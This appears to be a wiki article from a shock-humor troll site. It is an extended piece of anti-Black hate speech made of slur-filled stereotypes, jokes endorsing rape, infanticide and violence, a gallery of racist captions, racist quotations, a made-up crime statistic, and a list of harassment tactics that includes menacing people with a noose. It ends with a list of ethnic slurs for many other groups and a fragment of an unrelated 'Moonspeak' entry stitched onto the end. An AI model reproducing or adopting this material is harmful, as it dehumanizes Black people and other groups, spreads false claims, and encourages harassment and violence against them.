*Call the founding fathers racist slave owners so that public schools with names like 'George Washington High' or 'Thomas Jefferson High' are changed. Don't stop whining until every public school in America is named the following: 'Malcolm X High', 'Rosa Parks Middle School', 'Rodney King Elementary' and so on.
*Spread sexually transmitted diseases (to white girls if possible) and obsessively use drugs.
*Use "muthafucka" a lot when speaking, end everything with "knowwhumsain?". In certain instances, you may end sentences with "...n' shit". Knowwhumsain?
*Negroes are [[rape|very sexual]] (not in a good way). Fuck anyone or anything.... men, women, children, dogs..... if it has at least one hole, anything goes. Anything to get your freak on.
*When your girlfriend turns you in for roasting her 2 year old son in the oven, tell the police the truth.... he broke your Playstation 2. Don't worry, it should work.... you're black, after all.
*Black women do not need babysitters. Tuck your eight children into bed, go out to the clubs and get drunk and "freaked" by five or six negroes. When you return home at 8:45AM, you'll find that someone ratted you out to Child Protective Services. Blame it on your skin and say, "dey tryin' to take my kids cuz I black, dawg!!"
*To the negro, raping a white woman is the same as if she asked him to fuck her. Go tell your friends what a "playa you is".
*Most negroes should die violently by age 30 if they wish to have a legacy. Black women will grow old and teach their niglets lies about white people so they can carry on their practice of whining and recieving handouts, and so they can justify black-on-white crime.
*Black mothers, you will undoubtedly lose a son or two (or all eight), as a result of being gunned down by a police officer during a struggle over the officer's gun. Chimp out in front of the cameras, lie about how your "baby" was a hardworking, loving, caring son.... even though his rap sheet was long enough to wallpaper the complete interior of your project dwelling, and no matter how many times he beat even your ass on certain occasions.
*When two negroes are ready to fight each other, they should circle each other for approximately half an hour and tell each other how they are going to hurt each other. "We gonna strap, dawg!" or "do sumfin', muhfugga!"
*Speaking of fights, never attack a white person in packs of less than five. Even women, since you'll need at least one nigger to hold each limb while one is raping her.
*Always struggle with the police during your arrest. This way you'll get your 15 minutes of fame on COPS or AMERICA's MOST WANTED.
*The more a woman weighs, the sexier she is, black or white. 300lbs+ is what you should be looking for.
*Use an excessive amount of cologne or perfume to hide your foul odor. Though the cologne stinks, it is an improvement over your funk.
*When failing an IQ test for a promotion or a job application, sue the employer. They will cave in because you're black, and from pressure from the NAACP.
*Yell "Gibbe summa dat" and walk around with your hand out, palm up
*Incidentally, when failing any military IQ test and you are put on the front lines in war, claim that the white men want to kill you because you're black.
*As witnessed in New Orleans, negroes...um...Niggers should ignore warnings to evacuate cities due to incoming natural disasters. When stranded, blame the president and white rescue teams for being racist and abandoning them, even though they were warned they could be on their own for an unknown period of time. Negroes should always wait for the government to do everything for them.
*Negresses should kill their children, then blame the govenment for failing them and all blacks by not giving them enough welfare funds to properly care for the children. Lie about a medical condition, if possible.
*For teenage negresses who are afraid of telling their mothers they are pregnant (some are actually too stupid to tell or in denial), have the child and then abandon it in a trash dumpster, or sell him for a bag of crack cocaine.
*Niggers should covet the thug lifestyle. Act, look, and talk like a thug. When the police begin profiling the thug nigger, it should cry racism and police brutality.
*When niggers are arrested for assaulting or murdering someone, they should always lie and say, "he call me a nigger".

As you can see, being a Nigger is hard work. How do those monkeys even manage?

==Famous Niggers==
[[Image:2uzxbw6.jpg|thumb|right|Silly little nigger ]]
Look, there are 35 million niggers in the United States alone. Every level of government has a shitload of programs to help advance them in society, as does every company that does business with any one of those governments, every college and university, every professional sports team, and just about every enterprise with over three employees (and not just limited to shoe shine stands). But nearly every one of the 35 million niggers is either in jail, doing something that will land them in jail, [[Vandalism|fucking up the place they live in]], wasting thousands of dollars that Whitey spends to educate them, suing their employer for 'scrimmination, applying for government benefits, sellin' drugz, or some other worthless/antisocial pursuit. The ones in college are mostly majoring in Black Studies, which mainly fills their nappy, limited-capacity heads with stories of 500 years of slavery at the hands of the white man. This qualifies them to sue the people that hire them, to lobby for reparations, and to work for the release of every nigga in every prison everywhere.

In spite of this thoroughgoing worthlessness, [[Black Jesus|a few niggers]] [[Lol wut|manage to rise]] above the slime at the bottom of the cesspool and become known in the world of humans. All of them are listed below. Less than a hundred famous niggers out of a population of 35 million, and that's stretchin' it. These few heroes done threw off their chains an' BECOME somebody!

==Culture and Lih-trih-chur==
<pre>
08:58:03 <Leonidas> weev: Black culture is a result of affirmative action, segregation and poverty.
08:58:07 <weev> no
08:58:10 <weev> black culture is a result of NIGGERS
</pre>

Don't kid yourself, [[retard]]. Niggers are too fucking stupid to come up with anything resembling culture, and the only thing they can write, ever, is the word [[goatse|"motherfucker"]], preferably on the side of your house. Niggers have shown us only one example of anything resembling culture: in [[Jew|LA]], there is a nigger club called the Crips. They're [[truth|fucking dumb]]. So are their [[faggot|butt buddies]], the [[Pain series|Bloods]]. Any and all black "culture" was wiped out by 200 years of slavery, leaving freed niggers to choose between acting white or drinking 40z in after rape/murder sessions.

==The 13/50 Myth==
Conservatives will often remind you that despite comprising only 13% of the United States population, blacks commit 50% of murders. This is false; they actually commit 60.4% of murders.

[[Image:Thirteenslashsixtypointfour.png|800px|center]]
 
==Things Niggers Hate==

[[File:Niggers are smartu.jpg|thumb|300px|right]]

Other than the usual fried chicken, welfare checks, shiny rims and gold 'n bling, there are plenty of things that the general nigger hates. Such examples include:
*Thinking (too much work)
*A clean house
*Physical Labor
*Holding jobs
*[[Cops|DA POOLEESE!]]
*Tasks that involve any kind of physical movement (since niggers are lazy as fuck)
*Courtrooms
*Acting like civilized human beings
*Country music
*[[FOX News]]
*Wearing condoms
*Paying child support
*Stormfront.org
*Paying anything
*Schooling
*[[Cats]]
*Personal hygiene
*Working
*Not blaming whitey for everything wrong in their lives
*[[You]]
*Swimming

==Videos==
 
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|<youtube>8pyW6w5B7Aw</youtube>
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|<youtube>-19ioGniZ88</youtube>
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|<youtube>hvfa27zZs5A</youtube>
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|<youtube>WoK8OZlo4PU</youtube>
;Bunch of nigglets in a zoo call gorilla their daddy}}
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}}
 
==Visual Guide to Niggers==
{{notice|[[Nigger/Gallery|See more here]]}}
 
{{cg|Ooo Lawdy, I gots me uh Galleree|NiggerGallery|center|<gallery perrow="5">
File:Tremayne Durham.jpg|Niggers are KFC buckets' natural predator...
File:KFC bucket hat.png|After the feast, the nigger displays its victim's carcass as a symbol of a successful hunt.
File:Oh_lawds_is_i_in_heaven2.png|Niggas love [[Watermelonz]]
File:Watermelon_Wreck.jpg|This is considered a [[shock image]] by niggers.
File:Blacksrelax.jpg|Words of Wisdom. '''{{Wikilink|Black_people_and_Mormonism|(What the Mormons use to abide by)}}'''
</gallery>|<gallery perrow="5">
File:Nigger king kong white pussy.jpg
File:Kindernigger.jpg
File:Sftrican starvin marvin facebook.jpg|The starvin marvin situation...
File:Nigger onion.jpg| A Nigger Onion
File:Rapistsworstjob.jpg|This nigga should have picked a different day job.
File:Nigger646.gif
File:Nigger mouth.gif
File:Albino nigger.jpg|An albino nigger.
File:This little nigga noodles.jpg|Azn food is not for niggers
File:nigger-in-a-box.jpg|Warning: Nigger may steal your bike, eat your chicken and watermelons, and may also rape your white wife!
File:47.jpg|Twice the volts, twice the fun!
File:Niggerpiggbank.jpg|Ask your great-grandmother if she's had one of these; and if she still has it, take it and sell it on eBay!
File:You Sir Are A Swine.jpg|As we can see from this painting, niggers have been around for [[at least 100]] years.
File:Niggaspeare.png|This portrait shows what niggers looked like in the Elizabethan era.
File:Giant_Black_Ass.jpg|[[DAT ASS]]
File:Nigger Ass.jpg
File:Nigger Dance.gif|Niggas got moves
File:Typicalnigger.jpg|An average Negro reaction to a Popeye's sale
File:Dos Niggers.jpeg|The only thing you and the most interesting man in the world have in common.
File:the-matrix.jpg|Good question.
File:You just activated my trap card.jpg|[[Niggers]] can whup yo' ass at [[Yu-Gi-Oh!]]
File:Sniggersbar.jpg|A candy bar made for Negros
File:Popeyeswtf.gif|OH SHIIIIIIAAAAT!!!!!
File:KingKongedo38.jpg|A nigger captures a white woman, about to participate in glorious buttsecks. Citing the need to "control the negro", and "the frequent occurrence of the crime of rape by negro men upon white women."
File:Female popeyed.jpg|GO TO BED
File:Angry Nigger.jpg|Subject without KFC for 27 minutes
File:Mah Nigga.png|When a nigger makes this face, it is a sign that it looks upon you favorably
File:Niger.jpg|Ferreado.
File:MLK slaves.jpg
File:Boss Nigger Poster.jpg
File:BlackMan.png|Omnomnom
File:Spot_the_nigger.jpg|Who's the odd one out?
File:Nigganerd.jpg|It's okay to say nigga now right?
File:Nigga-kip.png|Yo, I herds you lieks [[mudkipz]]
File:WartyMelon Flava.gif|[[Disney]] know how to market to niggers.
File:Niggaproof basket.jpg|IS DAT SUM RACIAL OPPRESSION?
File:Beernigga.jpg|"OHH LAWDY; I dunt care 'bout no Hurracayne Kuhtreena, at least I gotz me sum free beer to drank!"
File:Back Of The Bus, Nigga.gif|As this educational toy for [[children]] shows, niggers belong at the back of the bus.
File:Bossnigger.jpg|A touching period piece showing the inner soul of an African American.
File:FatHoFrenz.png|Use this [[colorbar]] in your LJ for the [[irony]].
File:Bape.jpg|Niggas tend to walk around with guns & 35 lb. weights. WTF
File:Klan approved.png|This article is KKK Approved.
File:I Am The Terror That Flaps In The Night.jpg|I am the terror that flaps in the night...
File:Bigasssandwich.jpg|Surprised it ain't fried chicken! Since when do niggaz eat hamburgers, anyway?
File:Niceass.jpg|A nigga's wet dream.
File:Regular day.gif|Just a regular day in da hood.
File:Never tell a nigger what he can't do.png|Never tell a nigger what he can't do.
File:Nigga get.jpg|You gotta get yourself one.
File:stolen-bikes.jpg|Black people have to steal at least 1 bike a day to stay alive.
File:Nigger You Gay.jpg| All niggers are fags considering they will screw anything.
File:NotMyBabyBitch.gif|Niggas are well known for their prowess on the dance floor.
File:OreoBarbie.jpg|Mattel is racist now OMFGZ!!!
File:Caps conversation.jpg|<s>Blinded me</s> Stole my [[bike]] with [[science]]!
File:Chickenfight.jpg|Truly a brave man.
File:Nigras.jpg|WTF
File:Abstractmoti.jpg
File:Gottahavecereal.gif|Cereal is probably soaked with chicken broth.
File:OH LAWD.jpg|Better than sex.
File:Afreakan.jpg|iFrican. Prolly stole it from [[Mitch Henderson]].
File:Black_History_Month_sale_on_cotton_balls.jpg‎|Walgreens shows off its cultural sensitivity during Black History Month.
File:Quite_serious_indeed.jpg|A typical black person, as he has no idea how to use his computer.
File:Singaporespecialjh1.jpg|A [[Nazi|properly configured]] nigger.
File:Nigger_-_Cereal.jpg|Finally, a cereal aimed at the urban demographic.
File:Nigger thread.jpg|This is a common occurrence on the internet.
File:Nigra.jpg|A nigga at a museum, showing that [[South Park]] can also be racist.
File:Kramer niggers.jpg|[[Kramer]]... not a fan of niggers...
File:Spartankicksnigga.gif|…neither is [[300|King Leonidas!]]
File:Coplove.jpg|[[Lie|Cops and Negroes always did get along well.]]
File:Watermelonsoda.jpg|Oh lawd...
File:Negro community.jpg
File:Nigga Wallpaper.png|If you're black, you must have this as your wallpaper. It's the law.
File:Black Monopoly.png|Discriminatory boardgames.
File:Nigga at game store.jpg|Even in [[Video games|gaming]] [[webcomic]]s.
File:Niggerbrown.jpg|Nigger is a nice sofa color.
File:Atleastimnotanigger.jpg
File:Fun nigger shit.jpg
File:Niggers use drugs while pregnant.jpg
File:Wheredawhitewomenat.jpg|Niggers love all women of other races, whether they are [[fat]] or [[Pro-ana|not]].
File:Niggerfoodstamps.jpg|A Nigger when not leaching off your tax dollars.
File:Confusednigger.gif|One confused Nigger.
File:Plankingnigs.jpg|A natural nigger gathering.
File:Damndirtyapes.jpg|POTA remake with rappers.
File:youngbucks.jpg|Booty niggers start early.
File:1315499363964.jpg| He just wants to bang on ''your'' drum all day.
File:ConfusedNigger.jpg|Fact: All niggers secretly wish they were white.
File:Fighting Monkeys.jpg
File:Niggers Wtf.gif|RAAAAWWWWRRR!!! AAAWWWWAAARRRR!!!
File:niggerfish.jpg|They even have a species of fish named after them.
File:blackmonopoly.jpg|They have their own special edition of Monopoly!
File:Fight_For_Your_Life.jpg|Every Nigger's fantasy... Stickin' it to THE MAN!!1
File:Clymer poster.jpg|1866 [[Democrat]] election poster accurately showing the niggers sloth.
File:Lawltrain.jpg|Typical nigger she-boon being loud as fuck.
File:Chippenfails.jpg|Niggers and [[Fags]] are mortal enemies
File:Kfcoutofbusiness.gif|OH LAWDS, NO!
File:Blacksad.gif|Sorry if we offended you, niglet!
File:CoonChickenInn.jpg|An accurate media representation of niggers.
File:Nigger magnet.jpg|thumb|Magnets proven 100% effective at luring hordes of niggers
File:Warner.jpg|thumb|right|Niggers are criminals by nature.
File:Negroid.jpg|thumb|right|The purest specimen ever captured.
File:The_Niggest.jpg|180px|thumb|right|A Challenger Approaches.
File:Black Lips.jpg|thumb|right|A National Geographic photo of a baboon taking a selfie.
File:Black_Fried_Chicken.jpg|thumb|right|Every nigger's kryptonite.
File:Niggerchickenwifeabuse.jpg|thumb|Common street niggers.
File:Agdadgadgadggad.PNG|thumb|right|You'd best know [[Dead Niggers|the difference]]
File:XzibitBuiltaNig.jpg|thumb|left|Niggers build the worst niggers
File:Crazycerealnigger.gif|thumb|left|A Nigger consuming his breakfast
File:1241249649172.jpg|thumb|left|Look at dem monkey, bra
File:CovetedChikkin.png|thumb|left|Two young negros revering their sacred fowl in a ritualistic display of drool and total faggotry.
File:Blackguywhitegirl.jpeg|thumb|right|After obtaining a pure white virgin drunk, the wild negro moves in for the kill.
File:Some bath.jpg
File:CCniggerx.png
File:Niggers math.png|A mathematical expression of niggers.
File:Pastry Nigger.jpg
File:Nig powers.gif
File:Romantic negro.gif
File:Alone in the Dark.jpg
File:That's a penis.gif
File:Nothing says gangsta like three scoops of ice cream.png
File:Negro rapeface.gif
File:My Trip to Chuck E Cheese's.jpg
File:Nigga thumb dance.gif
File:Niggerfag.jpg
File:Bread nigger.gif
File:No nigger.gif
File:Gorrilla and nigger.gif
File:Beach negro.gif
File:Scurry shit.gif
File:Cookie nigger.jpg
File:Exercise nigger.gif
File:Stare nigger.gif
File:French ass name.gif
File:Nigger bottle.jpg
File:Crossdressing nigger.gif
File:KFC thought.gif
File:Flexi-nigger.gif
File:Krispy Kreme nigger.gif
File:Nigger King.jpg
File:Pinata negro.gif
File:Nenecrazyface.gif
File:Nigger limbo.gif
File:Nigger wedding.jpg
File:Nigger dance.gif|Nigger mating ritual.
File:Birthday present.gif
File:Niggerer.jpg
File:Niggawaa.jpg
File:The-dream-lives-on.jpg|The dream lives on...
File:Black_People_-_Niger_Fried_Chicken.jpg
File:N_GGERS.jpg
File:Yumyumyum.gif | This is how niggers eat.
File:Niggers can't spell.jpg
File:Little nigger.jpg
File:Snake nigger.jpg
File:Black People - Chicken Wing Dispute.png
File:Average black.jpg|Rare "''negro insectus''" sub-species.
File:SLAVERY REINSTATED-Catch yourself a strong one.jpg|[[Slavery|We can only dream]].
File:Niggas_In_the_Wild!!.jpg|[[Black Jesus|January 20, 2009]]
File:TheDifferencebetweenaNiggerandaGangster.jpg |There is a crucial difference between niggers and gangsters
File:Nigger nipples.jpg
File:True Nigger.png|What a true nigger looks like. Not horse manure brown.
File:Niger_Please.gif
File:Planetwatermelon.jpg
File:Black_guy_in_KFC_trash_can.png
File:Niggajump.jpg
File:Nigger_tomb.jpg
File:Nigger_pm.gif
File:Niggers killed family.jpg|Niggers in distress will always call upon the [[welfare|assistance]] of the white man.
File:Black person selfie.jpg
File:Alabama Hates Niggers.jpg| Alabama hates Niggers.
File:Black Babies.gif
File:Nigguhman.png
File:Jenkem-stew.gif
File:Nigger Boy.JPG|I often wonder how it feels To be a nigger boy; If only I were black as ink, Life would be full of joy.
File:Nigger-sale.jpg|Bill of sale advertising products from the Darkie Continent
File:Darkey watermelon.jpg
File:Nigger-boy.jpg|Of all the sweets so full of joy the best of all is Nigger Boy
File:BD1.jpg|Black men lie about their real dick size
File:Jack the time traveller.jpg|Aren't mixed race children beautiful? (Jack the time traveler comic)
File:Blackmansuckthedickofawhiteman.gif
File:Thefreetimeactivityofablackman.jpg
File:Blackmanaremasculine.jpg
File:Blackmenarecuckolds.jpg
File:Blacktranny.jpg
File:PS2 LOL.gif
File:Zoobooks niggers.jpg
File:Blackmenaregay.jpg
File:BlackandAsianGay.jpg
File:Urophileniggers.gif
File:Bigbubblenigra.jpg
File:Nigger applez.jpg|Wuld sho' liek an applez on stik wid yabowlah!?
File:Skankz be fightin.gif
File:Negros have bigger.jpeg
File:Terry1.jpg|Isn't dat gangsta!?
File:Black motivator.jpg
File:FuckFirstDateBlack.jpg
File:So Black.jpg
File:BlackDickRape.jpg
</gallery>
|}}
 

==Quotes==
<Center>{{morphquote|CC1|background-color: white;|font-weight: bold;

|These [[Negroes|Black Ones]] are the natives of countries in the South. As their countries are [[science|close to the sun]], they are sun-scorched and become black. [[Fact|By nature they are stupid]].| Japanese scholar, 18th century

|Promiscuous [[bestiality|coalition of Men and Animals]] took place, wherefore the regions of Africa produce for us so many monsters.| French savant Jean Bodin makes a terrible discovery

|Coon, coon, black baboon

Brutal, worthless, thieving goon

Often [[Weed|high]], thrives in jail

His [[welfare]] check is in the mail

Some 40 offsprings has been had

But none will ever call him "Dad"

And yet he hollers day to night

"I blames da cracka for muh pligyt

I'z him spreads trash all 'round muh shack

I'z him what makes me smoke dis crack

He push my kind to burn and loot

An sends de po-lice dat we shoot

But inch by inch we takin' hold,

Like when da white bread starts to mold

We'll overrun yo' homes and soon

Dey'll only be fit for de black baboon!"|Author A. Wyatt Man, date unknown

|[[Some argue|It is said]] that when the black slave is sated, he [[rape|fornicates]]; when he is hungry, he [[theft|steals]].| Arab historian Al-Abshibi should chastise his slaves

|When Negroes are accustomed to an [[white devils|overseer]], and you dispense with the services of one, they must be exposed to a great deal of [[Nigga stole my bike|temptation]], far more than they can resist. [[Time Cube|Education]] has not taught them the difference between right and wrong; at any rate, their ideas on the subject must be confused.| Words to the wise master, [[Nigger Manual|Farmer's Register]], 1837

|As for the [[Niggers|Zanj]], they are people of black color, flat noses, kinky hair, and [[no|little]] understanding or intelligence.| Arab geographer Al-Muqaddasi, 10th century

|The Negroes... lead a beastly kind of life, being utterly destitute of all reason, of dexteritie of wit, and of all [[Menstrual painting|arts]]. Yea, they so behave themselves, as if they had continually lived [[Detroit|in a Forrest among wilde beasts]]. They have great swarms of [[Sheneequa|Harlots]] among them; whereupon a man may easily conjecture their [[Antoine Dodson|manner of living]].| Leo [[irony|Africanus]], 15th century

|All fucking niggers must fucking hang!| Animal Mother speaks for the [[White devils|white people]]

|Not as black as one is painted| An idiom meaning "not as bad as one is said to be"

|They are as shocking and horrible as devils with their [[Transformers|iron faces and silver teeth]].| [[China|Manchu]] official meeting a [[Nigra]]

|[[Lulzy|Lawzy]], we gots to have a doctor. I don't know nothin' 'bout birthin' no babies!| Why you lying black slut!

|[[Africa]] is directly under the equator and the heat there is extreme. Therefore, the natives are black coloured. They are [[Travis the Killer Chimp|uncivilized and vicious]] in nature.| Japanese geography textbook

|[[Negroes|Their]] hair is burned by the sun and becomes frizzled but they are humans and not monkeys as [[some argue|some mistakenly think]].| A Japanese scholar's honest mistake

|Deeply stained with dirt; soiled dirty, foul... having dark or deadly purposes, malignant; pertaining to or involving death, deadly; baneful, disastrous, sinister... full of anger or hatred... tragic, harrowing, disastrous... evil, iniquitous, atrocious, wicked| The most common definitions of "black", Oxford English Dictionary

|Like the crow among mankind are the [[Blacks|Zanj]] for they are the worst of men and the [[truth|most vicious of creatures]] in character and temperament.| Arab polymath Al-Jahiz, 9th century

|I went down to de riber, I didn't mean to stay,

But dere I see so many galls, I [[rape|couldn't get away]].

[[Mosh Girl|Weel about and turn about and do jis so]],

Eb'ry time I weel about and jump Jim Crow.| The black man's anthem

|A negro will always be a [[nigger|negro]], carry him to [[Maryland|Greenland]], give him [[what|chalk]], [[watermelonz|feed]] and [[police brutality|manage]] him never so many ways.| A common complaint even in the 17th century

|We know that the [[Blacks|Zanj]] are the [[retard|least intelligent]] and the [[idiot|least discerning]] of mankind, and the least capable of understanding the consequences of their actions.| More [[constructive criticism]] by Al-Jahiz

|Some believe that Negroes are, like ourselves, the sons of [[Adam Savage|Adam]] and must, therefore, have like passions and wants and feelings and tempers in all respects. This we deny.| Edgar Allan Poe keeps the black man down

|Black men have no knowledge of God... they are very [[fat|greedy eaters]], and no less [[drug|drinkers]], and very [[pigs|swinish]], and much addicted to [[Tay Zonday|uncleanliness]].| An early English traveler visits Africa, or possibly Peckham

|The only people who deserve [[slavery]] are the Negroes, [[asking for it|owing to]] their [[Soulja Boy|low degree of humanity]] and their proximity to the animal stage. The Negroes are also the most stinking of [[animals|mankind]] in the armpits and sweat.| A very temperate and reasonable explanation by Ibn Khaldoum, 14th century

|The Blacks are [[truth|universally dim]] of intelligence... the moral characteristics found in their mentality are close to the instinctive characteristics found naturally in [[animals]].| An Arab scholar calls 'em as he sees 'em, 13th century

|The blackness of Negroes proceedeth of some [[GRIDS|natural infection]] of the first inhabitants of that country, and so all the whole progeny of them descended, are still polluted with the same blot of infection.| [George Best applies science to the problem, 1578

|I have observed the [[cock|capabilities]] of the Negro... It cannot be denied that the Africans are connoisseurs in cruelty, that [[OJ Simpson|murder]] is one of their [[deviantART|fine arts]].| A British gentleman admires the [[cock|Blacks]], 1873

|I don't smell like "Africa" or wet dog.| A black girl is mistaken on Yahoo! Answers
|u snitchy piece of shit talkin all shit behind my back bitch??? fuuuck mathafucka u dumb mathafucka u fukin fagget. ye thats what faggets do crackar. classic lil whity balless bitch. im not callin everyone a whity fag u liar small stick im only callin whity faggets that. i bet 5 bucks ur a fuckin queer. N yea ur fuckin racist callin me a nigga mathafucka. fuckin whity bitch come say that to my face n ill fuckin kill u 3 times fagget. 1 for me n 2 for my homies. now talk shit behind ma back again.| A black gentleman in the midst of a debate}}</center>

==Frequently Asked Questions About Black Folks==
Humans are genuinely curious about their close relatives the Niggas (but not that close, Nigga—keep your fucking distance!). Nigga and related terms consistently rank among the most frequently searched topics on Google, Ax.com and other search engines. Many universities have entire departments devoted to the study of Niggers and their ways, typically staffed with Niggas and a few white keepers/overseers.

<center>{{frame|<youtube>PnHX5wtMVWQ</youtube>
<center>'''The following should answer your questions'''}}</center>

==Trolling niggers==
[[File:Nigger behave.gif|180px|thumb|right|Refuse a black man his fried chikins at your own risk]]
Because of their [[mental retardation|inferior intellectual abilities]], niggers are incredibly easy to troll. In fact, they even get mad when you are ''not'' trolling them.
*Inform them that not Whites or Arabs enslaved Blacks, but sub-Saharan Africans enslaved other sub-Saharan Africans and then sold them to Europeans and or Arabs.
*Tell them that former Slaves from the USA who were deported to Liberia enslaved the indigenous black Bush people.
*Inform them that the Ancient Egyptians and Sumerians were Middle Easterners and not Blacks
*Denied their slavery years (never happen)
*Act "gangsta" around them. Use their slang, wear their clothes and address them with "brother".
*Say something, ''anything'', against a black rights activist or a famous black person (niggers don't know the difference between the two things, anyway).
*Remind them that they are all welfare queens.
*Remind them that they all used to be slaves.
*Ask them whether their master allowed them to talk to a white person.
*Kindly remind them that you're not cotton.
*Ask why you're not allowed to say "nigga". Repeatedly.
*Offer them fried chicken.
*Call the police. The nigger '''will''' act like he just [[rape|raped]] a white, latin or asian girl, whether he did it recently or not.
*Hand the nigger a piece of soap. Tell him he looks like he needs it.
*Ask a nigger how to rap.
*Ask if it plays basketball.
*Talk like an intelligent person. Niggers hate intelligent persons, for obvious reasons.
*"Trayvon Martin deserved it."
*Inform them that "George Zimmerman" is of multiracial heritage and not white.
*[https://tour5m.ghettogaggers.com/index.php Show them this] and '''{{archive|Rpehe|that}}'''
*Wear jet black glasses and walk with a cane through any up and coming black neighborhood at night while shouting: "MASSA?! Where is you?!" Bonus points if you can pull off acting deaf and wear a hoodie simultaneously.
*Inform them that Uganda has a higher standard of living and knows NOT to eat da poo poo.
*Run after them with a noose and a burning lighter. Niggers are like cavemen, they are deathly afraid of fires that they didn't cause.
*Ask them if they know the difference between Dr. Seuss and Dr. Dre.
*Walk up with a calculator and ask if they have a problem. Even if they (inevitably) don't get this one, it results in a guaranteed chimpout.
*Ask them if they knew that James Earl Ray was actually Ray Charles.
*Tell them the following phrase: "In all sincerity, you blacks stole from Vanilla Ice. That man invented rap while you were banging spoons on Home Depot buckets for pocket change.... nigger."
*Ask them if the Crips are physically, or just mentally handicapped.
*Ask them if they ever saw the movie Jaws, and if it scared them. If they say "No, it didn't", inform them that since they are black, water scares them more than sharks.
*Tell them not all [[cops|Police officer]]s are racist gestapo hired just to kill them
*"[[George Floyd]] Deserved it"

Always remember, every nigger has a gun! A bullet proof vest is mandatory when trolling them. Alternatively, just hold a melon hostage. And call the cops! Cops love nothing more than to catch a nigger with his pants down.

==See Also==
{{nigdelude}}
*[[Aboriginal]]
*[[Africa]]
*[[Ebola virus]]
*[[Al Sharpton]]
*[[Angry]]
*[[Axel Muganwa Rudakubana]]
*[[Thieves]]
*[[Poor people]]
*[[Barack Hussein Obama]]
*[[Johnny Somali]]
*[[Killer]]
*[[Black People Love Us!]]
*[[Black Lives Splatter]]
*[[BLACKbusterCritic]]
*[[Bomani Armah]]
*[[Chocolate rain]]
*[[Dangerman]]
*[[Digital Blackface]]
*[[Chikins|Fried Chicken]]
*[[Herman Cain]]
*[[Jay Bundy]]
*[[Jena Six]]
*[[Jenkem]]
*[[Kwanzaa]] - Nigger [[Christmas]].
*[[Lovely Peaches]] - Fat [[Instagram]] negress who abuses animals and children
*'''{{archive|nzNwP|Nigger Forum}}'''- Heavily active forum exclusively for niggers and nigger-lovers; troll for the lulz (especially that uppity '''Doby''' nigger)
*[[Mark Essex]] - Honky Pig Killer
*[[Mediatakeout]] - A blog made for niggers.
*[[Nigga Know Technology]] -- niggas also know how to write boring blogs.
*[[Nigger Manual]] -- A comprehensive guide to taming your very own nigger.
*[[NO NIGGERS]]
*[[P.A. Palace]]
*[[Sittin On Tha Toilet]]--A meme brilliantly illustrating what black people do after gobbling up some delicious chikinz and watermelonz.
*[[Slavery]]
*[[The Great Black Dick Hoax]]- Niggers are programmed to spread this hoax.
*[[There are no niggers on the Internet]]
*[[TightRope]]
*[[Vintage Black Americana]]
*[[Travis the Killer Chimp]]
*[[White Extinction]]
*[[Wrong Location Nigger]]
*[[Black Supremacy]]
*[[Scrub Me Mama With A Boogie Beat]]
*[[OpFerguson]]
*[[Trayvon Martin]]
*[[2204355]]
*[[George Floyd]]

===Types of Nigger===

*[[Happy Negro]]
*[[Sheeeit Nigger]]
*[[ULTRANIGGER]]
*[[Black chicks]]
*[[The Batman Rapist]]
*[[Nigger pig]]
*[[Nigglypuff]]
*[[Black Diligent]]

===Nigger Palette-Swaps===
*[[Ice niggers]] (''White people'' esp. Canadians and Northern Europeans)
*[[Potato niggers]] (''Irish'')
*[[Porridge niggers]] (''Scots'')
*[[Brits|Tea niggers]] (''Brits'')
*[[Wales|Sheep niggers]] (''Welshies'')
*[[Indonesia|Mangrove niggers]](''Indonesians'')
*[[Germany|Nazi niggers]] (''GERM-ans'')
*[[Jews|Gold niggers]] (''Jews'')
*[[Russia|Tundra niggers]] (''Rush-ans'')
*[[Wop|Spaghetti niggers]] (''Eye-talians'')
*[[Romania|Tuica niggers]] (''Romani people'')
*[[Sand niggers]] (esp. ''Arabs'', but also ''Middle Easterners'' (Turks, Kurds Iranians), Central Asians (Turkmens, Uzbeks,Tadjiks) and ''North Africans'' (Berbers,Tuareg))
*[[Prairie niggers|Casino niggers]] (''Injuns'')
*[[Curry niggers]] (''Indians'')
*[[Rice niggers]] (''Chinks'')
*[[Japanese|Anime niggers]](''Japs'')
*[[Sea niggers]] (''Aboriginals'')
*[[Mexicans|Nee-groes]] (''Latinos'' esp. [[Puerto Rico|Ricans]])
*[[Philippines|Asian niggers]] (''Fake Southeastern Asians'')
*[[New Zealand|Kiwi niggers]] (''Kiwis'')

==External links==
*'''{{archive|zlNIO|How to be a nigger}}'''
*'''{{archive|BVAFI|Omar's African Adventure}}''' - A Niggerian [[419 Nigerian Email Scams|419 scammer]] gets 0wned
*'''{{archive|yBRMt|Chimpmania}}''' - Chronicling the Over-Glorified Apes in the Wild
*'''{{archive|qW764|Scientist claims black people are less intelligent than white people}}'''[https://www.telegraph.co.uk/culture/tvandradio/6327171/Scientists-claim-black-people-less-intelligent-than-whites-in-Channel-4-show.html] - You don't really need a scientist to prove this. [[drugs|The]] [[africa|evidence]] [[gang|is]] [[Rap|all]] [[Chikins|around]] [[haiti|you]].
*'''{{archive|yi8H7|Niglet breeding school}}'''
*{{fb|thugreport}} - News From Da Hood
*[https://www.gizoogle.net/ Learn ta rap like a nizzle n' search fo' tha hizzle]
*{{wayback|http://trutube.tv/video/10932/What-Would-Zimmerman-Do|20140508035656|title=Cultural Enrichment Compilation}}
*'''{{archive|kRdme|Stuff Black People Don't Like: Urine detection system on buses}}''' ningnogs are pissed about not being able to piss in their seats.
*{{fb|Bigbryanbig}} - Talk to a real crack-dealing Detroit nigger
 
{{race}}
{{afro}}
{{editwars}}

{{Timeline|Featured article April 20, [[2011]]|<s>Baleeted</s> Up [[Girlvinyl|Girlvinyl's]] asscrack.|[[Nigger]]|[[Aboriginal]]}}
{{Timeline|Featured article November 27 & 28 [[2014]]|[[Randi Harper]]|{{PAGENAME}}|[[OpFerguson]]}}
{{Timeline|Article of the Now December 14, [[2020]]|[[Aediot]]|{{PAGENAME}}|[[Unrapeable]]}}
{{timeline|Article of the Now September 23-28, [[2021]]|[[Timur Bekmansurov]]|{{PAGENAME}}|[[Faggot]]}}
{{timeline|Article of the Now February 7 and 8, [[2024]]|[[Job]]|{{PAGENAME}}|[[The Coffin of Andy and Leyley]]}}

[[Category:Niggers| ]]
[[Category:People]]
[[Category:Subcultures]]
[[Category:Abnormal Psych]]
[[Category: Drama-generating techniques]]

Moonspeak

2026-07-31T13:59:25Z

SmidgeX2:

[[Image:Inuit-moonspeak.png|thumb|Errrr...]]
Generally, [[Americans]] refer to '''Moonspeak''' as any non-[[English]] language rather than using [[Greek]], because 87% of them lost all common sense when they gained independence from [[Europe]]; however, in common [[Internet]] parlance, the label specifically refers to any language that does not use the [[Latin]] alphabet.

